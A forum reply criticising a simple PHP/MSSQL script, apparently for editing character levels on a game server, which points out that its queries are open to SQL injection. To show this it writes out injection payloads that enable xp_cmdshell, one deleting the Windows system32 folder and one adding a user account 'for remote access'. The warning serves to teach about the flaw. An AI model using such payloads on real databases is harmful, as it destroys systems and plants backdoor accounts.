Never tried it, but I don't believe it would work at all. Not without a lot of RE. Try changing the level field in your database then relogging. You will remain the level you were before. The database(trans) server holds values such as level. This is also an extremely simple script and needs a lot of work to function properly.
Other Issues:
mssql_query(MySQL)
$matchrows = mssql_query("SELECT * FROM characters AS c INNER JOIN accounts AS a ON a.username = c.accountname WHERE c.id = $id AND a.username = '$user'");
Try again. Mysql syntax.
SQL Injection Bewareee
$query = mssql_query("SELECT * FROM characters WHERE id = '[COLOR="Red"]$id[/COLOR]'");
SQL Injection much?
SQL Injection Bewareee
$query = mssql_query("SELECT * FROM characters WHERE id = '[COLOR="Red"]';EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE EXEC master.dbo.xp_cmdshell 'cmd.exe rmdir C:/WINDOWS/system32'--[/COLOR]'");
Or...
SQL Injection Bewareee
$query = mssql_query("SELECT * FROM characters WHERE id = '[COLOR="Red"]';EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE EXEC master.dbo.xp_cmdshell 'cmd.exe net user mootie password //ADD'--[/COLOR]'");
for remote access :>